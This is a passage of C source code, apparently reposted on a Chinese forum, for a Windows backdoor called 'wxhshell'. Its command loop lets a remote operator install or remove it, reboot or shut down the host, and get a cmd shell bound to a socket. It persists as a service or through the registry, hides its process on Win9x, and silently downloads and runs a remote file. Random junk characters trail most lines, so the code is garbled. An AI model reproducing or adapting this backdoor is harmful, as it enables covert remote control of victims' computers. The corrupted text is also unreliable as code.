  // 安装 %5B%KCCN  
  case 'i': { j4.&l3  
    if(Install()) wD9a#AgEd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +1`t}hO  
    else 9`Q@'( m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IB$7`7  
    break; jj&s} _75  
    } tJZc/]%`H  
  // 卸载 SS3-+<z  
  case 'r': { ;u-4KK  
    if(Uninstall()) v.g"{us  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k*$3i  
    else igkz2SI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b-<HXn_Fd  
    break; sa#.l% #  
    } %u!XzdG  
  // 显示 wxhshell 所在路径 $:vkX   
  case 'p': { QZYU0; VF  
    char svExeFile[MAX_PATH]; /L~m#HxWU  
    strcpy(svExeFile,"\n\r"); :L$4*8@`+  
      strcat(svExeFile,ExeFile); Ot9V< D6h  
        send(wsh,svExeFile,strlen(svExeFile),0); &O1v,$}'  
    break; (FVX57  
    } *gqSWQ  
  // 重启 T@ 48qg  
  case 'b': { q)I|2~Q c^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hnxc`VX>g  
    if(Boot(REBOOT)) AR B7>"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v 81rfB5  
    else { 'gTmH[be  
    closesocket(wsh);  ?J&)W,~  
    ExitThread(0); t_c?Wp~tH  
    } ;e{5)@h$  
    break; K{DAOQ.z  
    } 7_)|I? =0d  
  // 关机 ZF{~ih*^u  
  case 'd': { K0fv( !r{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;VzMU ;j  
    if(Boot(SHUTDOWN)) *xH\)|3,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8vD3=yK%^  
    else { |4>:M\h  
    closesocket(wsh); Mq\~`8V  
    ExitThread(0); AV4~U:vU  
    } w~@[ r4W  
    break; 32>x^>G=>  
    } la, h  
  // 获取shell 9([6d.`~  
  case 's': { vDE |sT  
    CmdShell(wsh); P Jo  
    closesocket(wsh); N}Q FGX  
    ExitThread(0); [)|+F wJ  
    break; (B#(Z=  
  } dOXD{c  
  // 退出 x ^vt; $  
  case 'x': { Q7a(P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +{-]P\oc  
    CloseIt(wsh); F)ci9-b@  
    break; VifmZ;S@Y  
    } <Dm Tj$  
  // 离开 ^.HWkS`e  
  case 'q': { c> ~:dcy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P. V\ov7m2  
    closesocket(wsh); .6T4z7I  
    WSACleanup(); jD9lz-Y@  
    exit(1); uxDLDA$;  
    break; a$}6:E  
        } |uUuFm  
  } 9k>uRV6  
  } )I9aC~eAD  
)f*Iomp]@  
  // 提示信息 }76.6=~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kk_zVrQ<  
} ,wK 1=7  
  } Y!n'" *J>  
LDQ e^  
  return; \Jpw1,6  
} fusPMf *[  
 W"qL-KW  
// shell模块句柄 H1T~u{8j}  
int CmdShell(SOCKET sock) K H}t:m+h  
{ uPDaq ]A  
STARTUPINFO si; 3$_2weZxYn  
ZeroMemory(&si,sizeof(si)); UR:n5V4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ScJu_A f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [W(Y3yyY  
PROCESS_INFORMATION ProcessInfo; fPz=KoN  
char cmdline[]="cmd"; `:5,e/5,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vy;_GfT$  
  return 0; T`Hw49  
} +x]e-P%  
C*pLq5s  
// 自身启动模式 uUS)#qM |  
int StartFromService(void) ^ f{qJ[,  
{ 5$^c@ 0  
typedef struct ^H!Lp[5c  
{ i+ic23$4M  
  DWORD ExitStatus; }td6fj_{  
  DWORD PebBaseAddress; b]#~39Iph  
  DWORD AffinityMask; `A{'s %$?!  
  DWORD BasePriority; m+T2vi  
  ULONG UniqueProcessId; 065A?KyD  
  ULONG InheritedFromUniqueProcessId; cx:jUsb6  
}   PROCESS_BASIC_INFORMATION; rWe 8D/oc  
SALCuo"L  
PROCNTQSIP NtQueryInformationProcess; VjTAN=  
m X:bA5db  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S7#0*2#[o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cYD1~JX.  
`~E<Sf<M  
  HANDLE             hProcess; 5f3!NeI  
  PROCESS_BASIC_INFORMATION pbi; R=86w_  
<PQRd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y_lCcu#OA  
  if(NULL == hInst ) return 0; Wa/geQE1<  
mxhW|}_-j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OfLM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8;.` {'r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P:a*t[+  
*NjMb{[ZQ  
  if (!NtQueryInformationProcess) return 0; Dauo(Uhuo  
k>-'AWH^v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \S5V}!_  
  if(!hProcess) return 0; buc*rtHfA  
d<?X3&J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6#-Z@fz%  
1eF@_Y^a!  
  CloseHandle(hProcess); ,whM22Af~{  
qAvvXs=5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #VR`?n?,  
if(hProcess==NULL) return 0; ]E..43  
l~{T#Q  
HMODULE hMod; qL~Pjr>cF  
char procName[255]; q8tug=c  
unsigned long cbNeeded; c0hdLl;5  
N$ *>suQ,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4SBLu%=s%  
Qv=Bq{N  
  CloseHandle(hProcess); ?e2Y`0  
cWc$ yE'  
if(strstr(procName,"services")) return 1; // 以服务启动 t5A[o7BS  
/gF]s_  
  return 0; // 注册表启动 BDnBBbBrz  
} EyPy*_A  
i&5!9m`Cw  
// 主模块 -KA4Inn]5  
int StartWxhshell(LPSTR lpCmdLine) +@^47Xu^  
{ 14;Av{Xt  
  SOCKET wsl; '9Qd.q7s|b  
BOOL val=TRUE; 0= gF6U  
  int port=0; ua!D-0  
  struct sockaddr_in door; m(h/:JZ\  
#Z#_!o  
  if(wscfg.ws_autoins) Install(); ?({PcF/  
R+x%r&L5F  
port=atoi(lpCmdLine); iiQ||P}5  
^$6bs64FSm  
if(port<=0) port=wscfg.ws_port; :az!H"4W/  
xQZ MCd  
  WSADATA data; <vO8_2,V-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <w%DyRFw3  
wsna5D6i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8L@UB6b\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jCam,$oE  
  door.sin_family = AF_INET; 5Bzuj`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $)Jc-V 6E  
  door.sin_port = htons(port); kKNk2!z`M  
7Im}~3NJG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ` 3vN R"  
closesocket(wsl); e(4bx5 <*  
return 1; =/M$ <+  
} zww?  
R^F7a0"  
  if(listen(wsl,2) == INVALID_SOCKET) { !~Ax  
closesocket(wsl);  |UABar b  
return 1; av7q>NEZ!1  
} Vl&+/-V  
  Wxhshell(wsl); 5J?bE?X  
  WSACleanup(); GR_p1 C\  
k-;.0!D^  
return 0; o&*1U"6D  
{Nzmb|&  
} DKf}47y  
t=AE7  
// 以NT服务方式启动 s= 3EBh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'JJ1#kKa  
{ LZ3rr-  
DWORD   status = 0; #wq;^)>  
  DWORD   specificError = 0xfffffff; q^Q|.&_k /  
M ^ 0w/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ma n^\gkCi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FA<Z37:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z 5{*? 2  
  serviceStatus.dwWin32ExitCode     = 0; |F8;+nAVF#  
  serviceStatus.dwServiceSpecificExitCode = 0; $@lq}FQ%  
  serviceStatus.dwCheckPoint       = 0; ~Q3WBOjn  
  serviceStatus.dwWaitHint       = 0; Y*h`),  
,dGFX]P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pQ4 %]Api  
  if (hServiceStatusHandle==0) return; x)%% 5  
eYnLZ&H5O  
status = GetLastError(); k4]R]=Fh.  
  if (status!=NO_ERROR) F&>T-u-dog  
{ 6~>^pkV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mkKRC;  
    serviceStatus.dwCheckPoint       = 0; ZA 99vO  
    serviceStatus.dwWaitHint       = 0; oX%PsS  
    serviceStatus.dwWin32ExitCode     = status; )< X=z  
    serviceStatus.dwServiceSpecificExitCode = specificError; PxdJOtI"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ft*G*.0kO  
    return; >' BU*  
  } iT)2 ?I6!  
mmh nw (/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q#d+IIR0gK  
  serviceStatus.dwCheckPoint       = 0; !nZI? z;  
  serviceStatus.dwWaitHint       = 0; a3DoLq"/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W]C_oh  
} LRfFn^FPM  
6x`\ J2x  
// 处理NT服务事件,比如:启动、停止 od|N-R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _Ct@1}aa4x  
{ [rD+8,zVm  
switch(fdwControl) kM6 EZ`mj  
{ @k#z &@b  
case SERVICE_CONTROL_STOP: a78;\{&L'  
  serviceStatus.dwWin32ExitCode = 0; PW~cqo B71  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .q~,.yI&j  
  serviceStatus.dwCheckPoint   = 0; #b<lt'gC  
  serviceStatus.dwWaitHint     = 0; T-<>)N5y  
  { uv_P{%TK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;m M\, {Z  
  } 6+{nw}e8  
  return; ={wjeRp  
case SERVICE_CONTROL_PAUSE: O(:u(U7e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tZ*f~yW  
  break; &~D.")Dz  
case SERVICE_CONTROL_CONTINUE: @et3}-c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -jklH/gF\%  
  break; o i,g  
case SERVICE_CONTROL_INTERROGATE: & Q|f*T  
  break; iZVT% A+q  
}; 0t/z "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #o}{cXX#  
} XO8 H]  
"pKGUM  
// 标准应用程序主函数 "' i [~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UJyiRP:#]>  
{ b(.o|d/P  
[1[[$ Dr  
// 获取操作系统版本 <_FF~lj  
OsIsNt=GetOsVer(); JsoWaD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f;qKrw  
hVQ+ J!qD  
  // 从命令行安装 BLYk <m  
  if(strpbrk(lpCmdLine,"iI")) Install(); V< 9em7  
O!@KM;  
  // 下载执行文件 ;d'O.i=  
if(wscfg.ws_downexe) { 6A{s%v H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R4K eUn"  
  WinExec(wscfg.ws_filenam,SW_HIDE); _4x[}e7KF  
} }lQn]q  
n"`SL<K1  
if(!OsIsNt) { Y/Gswcz  
// 如果时win9x,隐藏进程并且设置为注册表启动 VG*=)8{  
HideProc(); [fJFH^&?hr  
StartWxhshell(lpCmdLine); VS@rM<K{  
} dwsy(g7  
else FKvO7? K  
  if(StartFromService()) QKuc21  
  // 以服务方式启动 eyl) uR  
  StartServiceCtrlDispatcher(DispatchTable); [^"(%{H  
else D%";!7u  
  // 普通方式启动 1.cUol nr  
  StartWxhshell(lpCmdLine); lhvZ*[[<)  
jP{]LJ2.6\  
return 0; D9pxe qf+=  
}
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只看该作者 1 发表于: 2006-10-10
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